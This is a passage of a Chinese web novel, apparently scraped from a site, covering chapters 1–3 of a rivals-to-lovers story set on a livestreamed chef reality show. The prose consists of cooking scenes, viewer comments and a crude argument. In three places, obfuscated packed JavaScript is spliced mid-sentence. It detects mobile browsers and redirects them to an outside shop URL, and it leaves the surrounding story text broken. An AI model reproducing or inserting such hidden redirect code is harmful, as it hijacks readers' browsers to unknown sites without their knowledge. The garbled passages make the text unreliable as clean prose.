《和死对头上综艺后成了大热cp》 1. 《主厨的战场》 “Hi～这里是吃了吗宁！今天跟大家分享的是一道简单快手菜——腊肉蛋酱意面。” 谭宁盘起金棕色的长发，一身宽松的白色家居服显得随性又洒脱。暖黄的厨房灯光照在她白皙的脸上，笑起来唇红齿白，明媚动人。 镜头翻转，对准铺着蓝白格子桌垫的台面。 “需要准备的材料有腊肉、意面、鸡蛋和一小块cheese，调味的话就是黑胡椒。” 明亮的画面，整洁的料理台，搭配上女孩清爽如一瓶冒着气泡的雪碧的嗓音，又像是疲惫生活里另一剂调味品。 一颗蛋黄落入铺满芝士的碗底，手在镜头上面将罐子里的黑胡椒研磨、撒入。 谭宁的手骨节分明，很有力量感。仔细看的话，右手小指第二块关节处有一道白色的凸起伤疤。 “准备好材料，就可以下锅煮意面啦~之前有讲过，意面用盐水煮六分钟口感最佳，不知道大家都还记不记得？” 对料理严谨的人在时间上把控很严格，叮叮的铃声响起，她用镊子把面捞出，放在准备好的漏斗碗里。 “保留一些煮面的原汤，那么……接下来就可以开始炒意面的浇头了。” 一点橄榄油在锅中铺开，用手掌感受到锅面开始冒热气时就可以把切成小块的肥肉扔进锅内。 肥肉里的油脂在高温下分解出来，发出滋滋的声音。当它变成焦黄焦黄的小块后即可捞出。倒入瘦肉，来回煸炒，激发其中的烟熏味。 谭宁颠了个帅气的勺，凑近闻了闻香味，勾起一边唇角。 下入面条，用夹子反复滚动面条，吸收锅里精华和香味。 “差不多了，这时候就可以把前面保留的原汤倒进去。” 刺啦一声，汤汁在锅里咕咕冒出小气泡，香味扑鼻而来。 “关火，加入刚刚调好的蛋黄和干酪，搅拌至收汁成粘稠状态，这样每一根面条都会裹满咸香浓郁的汤汁！” 谭宁的讲解为美食打开了一层金光闪闪的滤镜，她利索地将意面装入瓷盘，点缀上准备好的罗勒叶，一份晚餐就做好了。 画面定格在餐桌，左边是谭宁在路边摘回来的省沽油和欧丁香，美食放在正中央。手写的白色粗字体随着热气缓缓升起，这便是谭宁分享的腊肉蛋酱意面。 “怎么样？” 落地窗下，五个人围坐在会议桌前，视频播完，其中一个迫不及待地问道。 这位IP常年在法国的美食博主“吃了吗宁”是她最近发现的宝藏博主。她的视频主打温馨治愈风，创意美食搭配上窗外浪漫的巴黎街景，让人看得欲罢不能。 “视频确实拍得很好，但她这个粉丝体量有点小吧？厨艺能保证吗？”坐在中央的总导演发出疑问。 这个她早有准备，下一页PPT里展示的是一个蓝色的帆布包，上面印着英文——Ferrandi。 法国费朗迪厨艺学院，放眼全球，在烹饪教学领域都是权威的存在。 “她的很多视频里都有这个背包出镜，她极可能就是费朗迪学院的学生。视频里她的手法极其娴熟，一看就是经常下厨的，这部分我可以肯定。” “嗯……”导演滑动着视频，定格在女孩那张极其抓人眼球的脸上。金发细眉红唇，耳垂处挂着小小的金色圆环，随着动作不时闪过耀眼的光泽。 不得不说，她确实很适合真人秀。足够漂亮、有实力，也足够神秘，让人想去探索。 他们正在策划的这档节目拟邀请几位各具特色的厨师去到不同风格的餐饮店参与经营，在三个月的时间里各显神通。最后哪一家店的营业额最高，就可以赢得一笔丰厚的奖金。 前期邀请的厨师一位是刚在厨神争霸赛里崭露头角的新人，另一位则是国际大师的嫡传子弟。 与他们对比起来，这位粉丝不到10万的“吃了吗宁”似乎矮了一头。但在综艺领域深耕数年的经验告诉他，她很可能是节目中最后一块重要拼图。 “好。”导演当即拍板：“笑笑，你抓紧时间去联系她。” 七月盛夏，星台新综《主厨的战场》震撼来袭，开拍即开播。王牌导演谷子继《一餐一食》后再次创新节目模式，首次采用全程直播的形式录制节目。 来自天南地北的三位厨师集结星城，去到有不同经营状况的店铺，作为空降嘉宾问诊店铺，帮助店铺找到最适合的经营模式，同时获得自我的成长。 节目立意深刻，模式新颖，开播正值饭点，一大批观众涌入，弹幕满屏飘。 现在播出的画面是厨师到店的环节，首先出场的是位微胖的男生，穿着白色厨师服。他对着镜头挥了挥手，笑起来很有亲和力。 “大家好我叫吴迪，大家可以叫我小迪。”吴迪说话中气十足，脸颊透着两抹自然的腮红。 【噗——吴迪吗？我宣布你无敌了哥们。】 【你好小迪，帮我播放一首《大碗宽面》（不是】 【上面的哥们你才是无敌了，待会直播间没了你全责！】 …… 随着吴迪进入店铺，一个转场马上切入另一位嘉宾。镜头从下升起，穿着牛仔短裤白色板鞋的男生进入镜头，额发随风飘逸，他从滑板轻轻跳下，对着镜头咧嘴一笑。 “哈喽！我叫李侃星，以后还请多多指教！” 顿时引起弹幕一片惊叫。 【啊啊啊啊啊……哥哥杀我！！！】 【这手，这鼻子，这肌肉……一看就很会做饭！】 【前面的姐妹你最好说的是做饭，苦茶子都飞我脸上了！】 …… 李侃星看着弹幕挑了挑眉，自然地和观众互动：“我现在马上要进店啰，我们店叫做屿夏，就在玉兰路这边，有空的话大家可以来捧场哦！” 【玉兰路？那不就在我家附近！哥哥等我，我马上来！】 【主厨可以亲自接待吗？】 【节目组到底从哪找来又会做菜长得还这么帅的嘉宾的？开始期待下一位了！】 【来了！搓手等待中……】 【哇靠！最后一位是女生吗？】 谭宁穿着红色针织衫搭配深蓝喇叭裤，金发在天蓝色的背景中飘逸，一下子将人带到巴黎的塞纳河边，满屏都是柠檬的清香。 下一秒，她身后拖着的布色买菜小推车缓缓入镜，绿油油的青菜在上面摇晃。屏幕前的观众噗嗤一声，差点把饭喷出来。 【这个推车哈哈哈，能说吗？我奶有个一模一样的！】 【耳边正响着萨克斯，这推车直接给我带到楼下菜市场了。】 【妈呀这不是我关注的红薯博主吗？竟然来参加综艺了！这下必须追起来！】 【你们都在笑推车，只有我觉得她拿着很像时尚单品吗？不敢想象用这张脸活一天有多爽！】 【胆小鬼，我就敢想。】 …… 谭宁停下脚步，抬头看了一眼店铺招牌，辣椒碰头。 来之前她在网上查了一些资料，这家店成立不到一年，红薯上宣传稿倒发得不少。 谭宁看了一眼菜单，感觉有点中不中西不西的，一看就是某个自封的主理人开的店。 虽然谭宁学的是西厨，也并不反感所谓的融合菜。但市面上很多融合菜都是挂羊头卖狗肉，主理人们的自娱自乐罢了。 一道料理，它总有自己的根，只是不同文化背景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525930|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人在创作时会刻上独属于他的印记。 这也是谭宁来参加节目的原因，不仅是因为那笔奖金可以作为创业的启动资金，更是为了让自己的印记为大众为熟知。 作为一个厨子，最大的幸福莫过于有人愿意吃你做的饭。 “加油！”推门前，谭宁在心中默默为自己打气，扬起一个灿烂的笑容。 店内整体装修风格简约高级，对着街边的一块窗户做成类似于吧台的设计，有店员正在里面出餐。 往里走，最先映入眼帘的不是收银台而是一排酒柜。酒柜旁是另一个出餐口，岛台上放着一块黑板，上面写着今日主厨推荐。 谭宁走到收银台，跟店员打了个招呼。 “嗨，我是谭宁，很高兴见到你！” 前台是个留着短发的妹妹，戴着单边耳钉。她扫了一眼谭宁和身后的机器，不算太热情地哦了一声。 “我听陆哥说了，你是来我们店里上班的厨师？” “呃……”谭宁愣了一下随后顺着她的话点了点头：“算……是吧。” 短发妹妹指着自己的铭牌，“我叫七喜，你……” 她打量着谭宁的穿着，微微皱了皱眉：“陆哥在后面看着，你这么穿恐怕不太行。” “啊？”谭宁顺着她的目光低头，知道她误会了：“没事，我不去厨房。靠窗那边的位置能坐吗？扫码点餐还是有人来记？” …… 谭宁在靠窗的位置上坐下，用旁边的餐巾纸擦了三遍桌子，把垃圾丢进桶里，服务员拿着菜单过来了。 谭宁翻了一遍，把自己原本想好的和网上没有的菜都点了一遍。 “菌菇青豆烩饭、辣椒皮蛋沙拉、金枪鱼烧麦……就这些。”谭宁合上菜单，把它递给服务员。 上菜需要时间，谭宁凑近屏幕，看观众刷的弹幕。 所有嘉宾出场之后，节目组将直播分成三组，观众可以自行选择想要观看的那一组。 【这个装修看着像辣椒碰头诶，他们家营销超级多。之前来吃过一次，感觉味道很一般。】 【深有同感，他们家说是融合菜感觉融合了个寂寞。】 【刚从隔壁过来，感觉美女姐姐好惨啊，这家店看起来难度不小哦~】 …… “是吗？”谭宁读着那条弹幕：“其他选手那儿是啥情况？有点好奇。” 一堆飘屏中，谭宁捕捉到一条有意思的。 【他们都已经进厨房了，你该不会是来蹭吃蹭喝的吧？】 谭宁歪了歪脑袋，露出一边的虎牙，眼睛弯成两道月牙：“那我只能说你猜对了，定价这么贵，当然要趁着录节目多吃点呀。你们有什么想让我试吃的都可以刷在屏幕上，放心这边有摄像大哥帮忙分担，我肯定不会浪费粮食的！” “什么？如果被老板发现怎么办？”谭宁聊嗨了，卷着鬓角的发丝视线从屏幕移到天花板：“那就只能去后面刷碗抵债了，你们不知道，我在巴黎实习的时候一天要刷几百个……” 屏幕里，有个人从谭宁的侧后方闯入镜头，白衣黑裤腰间系着围裙。他弯下腰，锋利的眉毛上挑，开口是散漫中透着不满的腔调。 “那你还不赶紧滚去刷盘子。” 【我靠！好帅！】 【哈哈哈哈，这下老板真的来了！】 【言出法随吗？有点离谱了。】 【让我们为这位可怜的女士默哀一分钟……】 “啊！” 声音裹着热气喷洒在耳边，谭宁被吓得从椅子上蹦起。她惊魂未定地捂着胸口，视线缓缓定格在对面人脸上，瞳孔骤然扩大。 “陆跃！你怎么在这？！” 2. 《主厨的战场》 “陆跃！你怎么在这？！” 陆跃抱着双臂，188的个子站在那儿颇有压迫感。他眼神扫过谭宁，幽幽道：“很明显，我是这儿的老板。” “老板？？？”谭宁不可置信地指着门牌：“辣椒碰头！老板！你？” 陆跃嘴角噙着一抹笑，得意的口吻：“就是我。” “我……” 谭宁在原地缓了足足有几十秒，堪堪接受要在陆跃店里工作三个月的真相。 大意，太大意了。谭宁欲哭无泪，只想问节目组现在申请换店还来得及吗？ 谭宁回头看了眼身后的摄像大哥，对方面无表情地指了指镜头，让她注意直播。 “行了，寒暄完了就跟我走吧，谭主厨。”这三个字从陆跃口中说出，总有种意味不明的讽刺。 “哎！”谭宁叫住他：“我菜还没上呢！” “菜什么菜，你是来上班还是来当上帝的？”陆扒皮转过身，催促她：“快点的！把你那菜篮子拿上。” …… 不生气不生气，生气就如了他的意，生气赚不到钱，生气会变老…… 谭宁拖着推车跟在身后，往他背后发射眼镖。 陆跃！狗东西！ 谭宁脚步剁得震天响，拐角处一个没注意，差点走过路。 陆跃敲了敲铁门，冷冷道：“进来。” 谭宁翻了个白眼，小声嘟囔了句。 strong男！ 此时的弹幕已经炸开了锅，后台的导演组更是激动得红了眼。 【这两人竟然认识？怎么看上去关系不太好的样子？】 【不会是节目组事先安排的吧？】 【我作证！星台确实喜欢搞剧本。不过这集我爱看！导演请多写！】 【只有我发现刚刚老板是站在那儿等主厨大人吗？嘴上嫌弃结果还是忍不住关心，承认吧老板你超爱！】 【妈妈，你爱看的死对头文学震撼首发了！】 【臭屁老板x阳光主厨吗？导演你收视率有了。】 【老师笔给你，请一定日更！】 笑笑看着谭宁敢怒不敢言的样子，拍着大腿笑得停不下来。 “我就说这嘉宾找对了吧！这两人简直是可乐碰到曼妥思，火山爆发了啊！” 这确实是意外之喜，开拍前导演组并未向各嘉宾透露除店铺名字以外的信息。看谭宁和陆跃的反应也不像是演的。 目前来看，观众对这一组很感兴趣。 谷子导演拿起对讲机，“摄像摄像，这一组跟紧一点，把嘉宾的互动拍清楚。” 谭宁跟着陆跃进了厨房，里面有一个主厨和两个副手正在出餐。 厨房不算大，谭宁大概看了一圈，是典型的传统出餐模式。主厨掌勺，副手负责备菜、摆盘和一些简单料理。 这边是热菜区，外面还有个后厨负责冷菜和甜品。 整体来说分工比较明确，运转起来还算有条不紊。 进来前谭宁扫了眼店内规模，大概有150平左右。这个规模加上客流量，后厨的人手算不上充足。 如此看来，网络上说的上菜慢问题也就有了答案。 “你们这儿的菜单是谁定的？”谭宁问陆跃。 陆跃靠在墙边，支起一只腿：“我和王师傅一起。” “你？”谭宁看着他一身厨师打扮，还挺像模像样。细看却漏洞百出：头发不包，脖子上还戴着根粗项链。 谭宁看得两眼一黑，真不是她刻板印象，但这大少爷确定自己不是在玩胡闹厨房吗？ “小姑娘，你可别小瞧了我们陆总哟。” 主厨听到她的质疑，半看热闹半解释地插了句嘴：“陆总可是有祖传的手艺在的，麓山秋听过没？” “麓山秋！？”谭宁惊讶地张了张嘴，终于正视了陆某人一眼：“你家开的？” 陆跃哼了一声，不想在这个话题上延伸。 他问她：“你对菜单有何指教？” 指教倒谈不上，“是有点想法，不过我得尝过才知道。陆老板，请问我点的菜现在能给我上了吗？好歹我也是来帮你的，总不能连饭都不让吃吧。” “等着吧。”陆某人咬着牙：“你最好是真有想法。” 谭宁切了一声，果然资本的本质就是剥削。当了老板以后的陆跃更是变本加厉。 等待上菜的时间，谭宁出去搜集了一圈用餐反馈，跟她料想的情况差不多。 下午两点，谭宁终于吃上了今天的第一顿饭。当厨师三年多来，谭宁的用餐习惯早就被定了形。一天两顿，一顿下午饭一顿宵夜，不规律也不健康。 十个厨子九个胃病，真不是空穴来风。 菜全部端上桌，谭宁先夹了一块餐前面包用来激发味蕾。 八个菜依次试下来，谭宁边吃边在本子上做记录。坐在她对面的陆跃和王师傅面面相觑，有种风雨欲来的预感。 【是我的错觉吗？怎么感觉老板在瑟瑟发抖？】 【哈哈哈我也发现了。但不得不说，谭主厨工作的时候真的好有魅力啊！】 【谭主厨的手也太好看了吧！姐姐，你给我喝了什么？好热……】 【白开水，想喝什么自己加。】 …… 谭宁一抬头，看到满屏的黄心，含在嘴里的水差点喷出来。 “咳咳……”谭宁移开目光，一条一条开始说：“我想问下咱们店的食材从哪里进的？” “你问的哪种？” 食材分新鲜食材和干食材，主料和配料，她这也太笼统了。 谭宁指了指桌上那道梭子蟹年糕：“就先说海鲜吧。” 食材这块一直是陆跃在把控，他最有发言权：“海鲜分不同品种，这个季节我们店的菜单做的主要是梭子蟹和海胆。梭子蟹是舟山的，海胆从北海道空运，用的是马粪海胆。” 谭宁点了点头，海鲜最讲究新鲜，陆跃对食材的把控还算不错。 她正式进入正题。 “上午我搜集了一下客人的用餐反馈，大概意见有：价格贵、上菜慢还有口味不符。同时优点就是环境好，服务态度不错，可以打卡拍照。” “陆跃，你也知道问题在哪对不对？” 从价格贵这点上来说，好食材高定价这很正常，但问题是顾客并不知道自己是为食材买单，以为是营销后的溢价。 “辣椒碰头的定位太模糊了，你们在营销上的策略也有很大的问题。”谭宁一针见血，晃了晃手中的菜单：“这本菜单需要重新规划。” 陆跃的脸色不是很好看，任哪个老板听到她这番话都不会有多开心。谭宁语气里的不屑将这份花了半年时间研究出来的菜单贬得一文不值。 “你一句话就得重做菜单，我们前面的功夫都白费？” 谭宁摊开手：“也不算白费吧，开餐厅本身就有试错成本啊。不过你放心吧，新菜单我脑子里已经有雏形了，下午……” “不行。”陆跃一口回绝：“我不同意。” “不是……”谭宁错愕地抬起头，问他为什么。 陆跃梗着脖子不说话，偏头看向一边。 “你……” “小谭姑娘。”眼看陷入僵局，王师傅赶紧出言调和：“陆总的意思是，你对菜品有什么问题可以提出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525931|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，口味不好还是制作方法不对，这些我们都可以修改。但你一上来就要从头开始，是不是有点强人所难了？” 谭宁不明白这怎么就强人所难了，上节目是陆跃自己同意的，她提出问题，大家合作解决，一起赢下比赛，这不是共识吗？ “王师傅你误会了，我不是这个意思。”谭宁深吸一口气：“不是口味也不是制作问题，是整个菜单没有记忆点。这个节目是要进行营业额比拼的，想赢过其他选手肯定要打造差异啊！” “陆跃，既然你选择接下这个节目，总要学会尊重游戏规则吧？你拒不配合，那我的工作就没法推进了。” 陆跃看着她冷笑了一声，手肘撑在桌面：“我当然尊重游戏规则，但你让我怎么无缘无故相信你？这是我的店，我首先要对它负责。” 谭宁眯了眯眼：“你质疑我的能力？” 陆跃跷起一只腿，一副油盐不进的模样：“我作为老板检验一下主厨的水平，这很正常吧？” “我……” 陆跃抬手打断她：“不要说你在某名校毕业的伟绩了，作为厨师你应该很清楚实操比什么都重要。再说我们这是中餐馆，你一个国外毕业的西厨充什么师傅？” “你！”谭宁拍着桌子站起身，“陆跃！你这个傻X，竟然还好意思说自己开的是中餐馆！你那个漏洞百出的菜单我都不想多说！学西厨怎么你了？你清高你了不起，那你参加这节目干什么？怎么？现在经济下行到这种地步，资本家也要委身屈尊来我们平民这桌了？我#@%&/…” 谭宁指着他的鼻子，脏话如机关枪一般发射出来，中文方言英文法语……层出不穷滔滔不绝疾如雷电。 店员们伸长脖子往这看，陆跃王师傅还有摄影大哥都是一副目瞪口呆的哑然表情。 【骂得我爽了是怎么回事？】 【天！这是能播的吗？】 【法专生路过，小姐姐骂得真的很脏了……】 【来晚了，小姐姐竟然是这种风格吗？用最甜的脸说最脏的话，respect！】 【骂得好！这老板简直欺人太甚，主厨大人来帮他们改造竟然还这种态度，不识好歹！】 【可是我觉得人老板也没啥大毛病啊，这本来就是人家的店，谨慎一点很正常吧？不过话说得确实有点难听就是了……】 …… “……陆跃！我告诉你！现在是我在给你解决问题，有意见你就提，要是再这种西八态度，我真就不刺猴了！！！” 说完，谭宁端起水杯饮完最后一口，啪的一声按下杯子，撑在杯口上大口喘着气。 “说完了？” “说完了！”谭宁抬起头，毫不退却地瞪着他：“怎么样？要不要接受我的提议？” 陆跃一言不发地站起身，双手撑在桌面向她俯身，随着距离越来越近，谭宁的眼睛眨得越来越快。 “干什么……我警…警告你……这还在直播呢，你不要乱来啊……” 【笑死我了，小姐姐终于想起来在直播了吗？】 【没关系，你们想干什么就干什么，不用在意我。】 【就是这个电光火石，眼神拉丝！好磕！太好磕了！】 “让你失望了谭主厨。”陆跃收起那抹玩味的笑，触目冰凉：“我还是那个意见：想要改菜单就拿出你的实力来。不然就算你成功威胁了我也没办法服众，明白吗？” 陆跃走到谭宁身后，倾身在她肩膀上方，指了指前面闪着红灯的摄像头：“你刚刚骂我的话可都录下来了，我会保留追究你的权利。” 犯贱的语气：“怎么这么多年还没学会谨言慎行啊，谭宁。” 3. 《主厨的战场》 夜幕降临，街边的路灯应声亮起，远处的天空还残留着一抹惊艳的红霞。星城不眠不休、热闹非凡的夜生活也开始了。 谭宁从店里出来，揉了揉酸痛的腰，在外面的吧台前坐下。 这条街的人流量实在是不错，接近十点还有源源不断的客人从门前走过。谭宁撑着脑袋叹了口气，要是这些人都能来店里就好了。 想着想着又开始发愁，陆跃公开表示不配合她的工作，导致整个下午她都像个透明人在店里晃来晃去。 那句不伺候只是生气时的口不择言，在真金白银面前，再硬的骨头也能被压弯，更何况谭宁全身上下就只有嘴最硬。 可她有心也没条件，惹怒老板的后果就是寸步难行，本想下午借用厨房试菜的，也被王师傅劝退了。 “可恶！真是太可恶！” 谭宁在本子上画着圈圈，力道大到划破了纸张。 “我的特调，请你喝。” 窗户里递来一个玻璃杯，里面盛着蓝色的渐变液体。 谭宁循着那只手看过去，留着长发的男生正隔着玻璃对她友善微笑。 他挑了挑眉：“试试。” “哇~谢谢~”谭宁两眼放光，迫不及待地接过酒杯。 费朗迪除了教授烹饪以外，每两周还会上一次葡萄酒、奶酪和葡萄酒搭配课。课上，学员们有机会品味到来自法国酒庄的名酒。谭宁的舌头和酒量就是在里面练成的。 谭宁非常有仪式感地拿出手机拍了张照片，然后端起杯子喝了一口。 首先进入口腔是爆汁的西柚，谭宁用吸管搅拌了一下，底部的深蓝色在水中化开，于是便尝到了甜橙和蓝莓的果香。 “怎么样？喝出什么了？” 谭宁信誓旦旦地对上他的眼睛，肯定道：“水溶C和蓝橙兑的，还有伏特加，对不对？” “舌头还挺灵。”男生睨了她一眼：“看来你也不是花架子嘛。” 谭宁顺着他弯腰的动作看到他的铭牌，原来他叫shake，也是很符合工种了。辣椒碰头的店员都还挺有特色的，最先认识的刺头妹妹七喜，还有面前的文艺调酒男。 “怎么？”谭宁吸着面前的果汁酒，问他：“你们老板让你来试探我？” shake摆了摆手：“陆哥才没这么无聊呢，我是看你一个人坐这唉声叹气，怕你想不开在我工位上撞墙，那多晦气。” “呵呵。”谭宁默默翻了个白眼：“你真是和你老板一样不会说话。” “是吗？”shake挠了挠头：“我这明明是在网上学的高情商发言啊？” …… “没事啦不重要。”他拍了拍桌子，告诉谭宁：“你呢也别太灰心，陆哥不是有意打击你。别看我们店不大，神仙是真不少。你说服他一个不够，还得大家都愿意配合才行。” “是吗？”谭宁回想着陆跃跟自己说的话，问shake：“那我现在算收服了一个神仙？” shake咧开嘴笑得很开心：“看在你把我算在里面的份上，我同意了！” “行！”谭宁饮完最后一口酒，从高凳上蹦下来。 隔着玻璃窗，她看见陆跃靠在餐桌边和店长谈话，灯光下隐隐绰绰的一个侧脸。 脑中突然闪过下午在弹幕上看到的一个评论。 【陆老板这种又高又富有帅还没有霸道总裁综合症的男人是真实存在的吗？】 对此谭宁的回答是：清醒点啊妹妹，这种男人要么是骗你钱要么是索你命！ 她不知道陆跃这种看上去就万分不靠谱的人怎么就变成别人口中的人间妄想了。 大概还是距离产生美吧。 在陆跃看过来之前，谭宁赶紧收回视线。 她冲shake挥了挥手，活力满满：“等着我来征服你们吧，明天见！” 清早，熹微的晨光透过层叠的绿叶洒在石子砖上，形成明暗交替的光斑。叫卖声裹着蝉鸣，生鸡活鸭、鲜鱼水菜，是再朴实平和不过的市井烟火。 谭宁收获满满地从早市出来，检查完食材后将推车绑在自行车上，跨步、踢开脚刹，双腿用力一蹬。 风从耳边掠过，发丝飞扬，空气里飘着淡淡的栀子花香。 餐饮店的一天通常从早上八点开始，谭宁骑车到的时候，一箱一箱的新鲜食材正从送货车转移到板车运往店内。 谭宁拖着小推车经过，看见穿着背心的陆跃单手撑在车上，头发凌乱，正和送货老板攀谈。 两人交换了眼神，谭宁径直走进店内。 店内提前安装的摄像头二十四小时开着，负责跟着谭宁的摄像大哥也刚刚架好机器。 谭宁跟大哥打了声招呼便进了厨房。 “早上好啊王师傅！” 背对着她正在盘库存的王师傅被这一嗓子嚎得吓了一跳：“诶哟妈呀，是小谭啊。来这么早？” “早起的鸟儿吃得撑嘛。”谭宁嗤嗤笑了两声，“王师傅，待会借您的厨房用一下，可以吧？” “可以是可以……”王师傅看着她从推车拿出一袋一袋五花八门的食材，不一会儿就摆满了料理台，心中不免开始打鼓。 这架势，看上去跟要炸厨房似的。 他试探道：“小谭姑娘，你这是要做什么呐？” “嘿嘿。”谭宁露出神秘的微笑：“到时候您就知道啦！” 谭宁从最底下拿出围裙系上，这是她自己用蓝布裁的，上面印着料理鼠王。 彪悍的谭主厨要大展身手，消息不胫而走。不多时，工作间外就聚集了一个两个小脑袋，凑在窗口伸长脖子往里探。 陆跃从外面进来，看到这场面也走过来探了个究竟。 “哎陆哥，你说她能行吗？别到时候菜没做出来把我们厨房搞乱了。” “是啊！”王师傅急得搓手：“这马上到中午营业的时间了，小谭姑娘把厨房占着，待会顾客来了出不了餐可怎么才好啊！” …… 陆跃往里间看去，没有想象中的混乱场面。进入厨房，谭宁像是完全变了个人，那些跳动的活跃因子突然之间沉静下来，全身心投入到工作中。 她的手法相当轻巧，厨具拿在手上，像是外科医生操作着手术刀，行云流水。 “先别急。”陆跃拍了拍王师傅的肩膀：“我们做我们的准备工作，实在不行就歇业半天。” “唉。”王师傅发出一声叹息，“你说说，这都什么事嘛……” 说完他头也不回地走了。 “好了好了。”店长看了眼陆跃的脸色，吆喝一声：“大家都去忙自己的，别看热闹了！” 人群随即散开，工作间里的谭宁自始至终没有受到影响，从容地进行着每一步。 茉莉香米淘洗两遍，加入泉水浸泡半小时。烧好的滚水泡一杯绿茶放旁边备用。 等待的时间里开始处理小青龙。 早市上买来的小青龙此刻还活蹦乱跳，倒入池中用毛刷洗去浮尘。去头去尾，剪刀从侧边划开两道口，剪掉腮部，去壳后切成均匀的小块。 虾肉不需要多余的佐料，撒一点海盐放旁边腌制即可。 接下来便是整道料理的灵魂。 完整的虾头和虾壳扔进锅里，倒入山泉水，小火慢熬。虾膏随着温度上升化入水中，用一勺番茄膏提鲜，这便是第一道汤底。 这时米已经泡得差不多了，倒出一小碗淘米水，用冷却好的绿茶水补齐，放入电饭煲蒸熟即可。 牛肉切碎，去腥后用黄油煎香，扔进虾汤中一起熬煮。 另取一锅水加盐烧开，关火下入片好的绢豆腐浸泡十分钟左右捞出，沥干水分。 虾膏的鲜甜和米饭的清香都已完全散发出来，此时就可以将豆腐和虾肉下到汤底里，通过不断搅拌让香味渗入到食物的罅隙里。 乳白色的淘米水沿着锅边撒入，汤汁收至浓稠冒泡后即可盛出。 这道菜不需要任何复杂的调料，仅靠虾膏和牛肉的融合即可达到浓郁饱满的风味。 谭宁按下手表，一小时零五分，不多也不少。 米饭煮好后在锅中焖了十五分钟，香味被牢牢锁在颗粒里。此时打散盛出，颗颗分明，粒粒饱满。 摄像大哥切到食物的特写镜头，香味顺着雾气飘进屏幕里。 【一大早打开直播间就是美食诱惑，节目组做个人吧！打工人还没吃早饭啊！】 【全程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525932|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看下来，主厨大人真的好牛啊，不慌不忙，做完饭台面还是干干净净的！】 【我的嘴巴怎么一直在下雨？】 【不好了，被直播间做局了。原来是饭局！！！】 【你好，请问我可以来你家吃饭嘛？就一勺。】 …… 叮！ 谭宁从送餐口把食物端上桌，按响旁边的传菜铃。 “上菜啦！！！” 餐饮人对传菜铃的敏感是刻在骨子里的。更何况过去的一小时零五分里，从厨房飘来的香味不断聚集，已经吊组了大家的胃口。 “来了来了！” “是什么？！” “我靠，谁踩到我鞋子了！” …… 隔着一道玻璃，谭宁和她的食物正笑意盈盈地向他们招手。 大家期待满满地跑来，结果一低头：一盘豆腐，一碗米饭。 就这？？？ 大家不无失望地看着谭宁，语气不满。 “麻婆豆腐？这也太没技术含量了吧！” “不是姐姐，你忙活一小时就做了一盘菜出来？” “这下好了，中午真不用开门营业了。” 谭宁啧了一声，“尝了才有资格评论好吗？” 这道菜看着实在是没什么特别之处，几个人拿起勺子，心想早点试完早点回去上班。 谭宁托着下腮，眼中闪过一丝狡黠，就等着看他们打脸。 她在心里默念三个数。 3,2,1…… “天呐！！！这是什么？” “什么东西在我嘴里化开了！” “不对！让我再尝一口！” 谭宁歪了歪头，伸手推销道：“配米饭吃口感更佳哦~” 米饭还冒着热气，凑近闻，有一股淡淡的清香。 这下不需要谭宁催促，几个人迫不及待地拿起旁边的小碗制作拌饭。 软糯的米饭混着豆腐和虾肉送入口中，即刻在口腔化开，如同一股绵软的熔岩流淌着。咬开脆滑的虾肉，上下牙齿被劲道弹开，肉质的鲜嫩原原本本的保留下来，丰富的味蕾在嘴里跳舞。 米饭里的茶香配合上浓郁香醇的汤汁，口感瞬间上了几层。一口接着一口，根本停不下来。 这道其貌不扬的豆腐烩青龙获得了全店的一致好评，24小时不到，同样的位置，坐在陆跃和王师傅对面，谭宁凭借自己的实力成功逆转了风向。 “王师傅，陆老板，怎么样？这道菜能不能证明我的水准？” 面前空空如也的餐盘就是最好的回答。王师傅原先是麓山秋的大师傅，做了几十年的菜，质朴的东西最能打动他。 中餐也好西餐也罢，没有高低优劣，也并非水火不融。厨师对细节的极致考究和对料理的不灭热情是背后看不见的那只手，通过美食将这份感情传递给食客。 谭宁看向陆跃，等着他说话。 “我可以允许你改菜单。但有些话必须事先说清楚：对你来说这或许只是为期三个月的经营游戏，赢下比赛最重要的。” “但……”陆跃收起玩笑的脸，正色道：“对我们来说，辣椒碰头不是游戏。这里的一切我们都付出了心血，虽然它目前并没有呈现出最理想的效果，但我不希望这三个月是最后的辉煌。” “我相信你的专业，所以也请你，用心地对待它。” 【老板说得对啊，节目结束以后这家店还是要继续经营的。感觉嘉宾们也要考虑一下这个问题，不能光为了赢比赛。】 【陆总良心老板啊，最共情资本家的一集。】 【辣椒碰头的工作氛围真的好好啊，还招人吗陆老板？】 …… 认识陆跃这么多年以来，谭宁只在他脸上看到过两次这么严肃的表情。 第一次他救了她，第二次他恳切地请求她。 谭宁没有拒绝的理由，不管是为了比赛还是店铺本身，都没有对错。 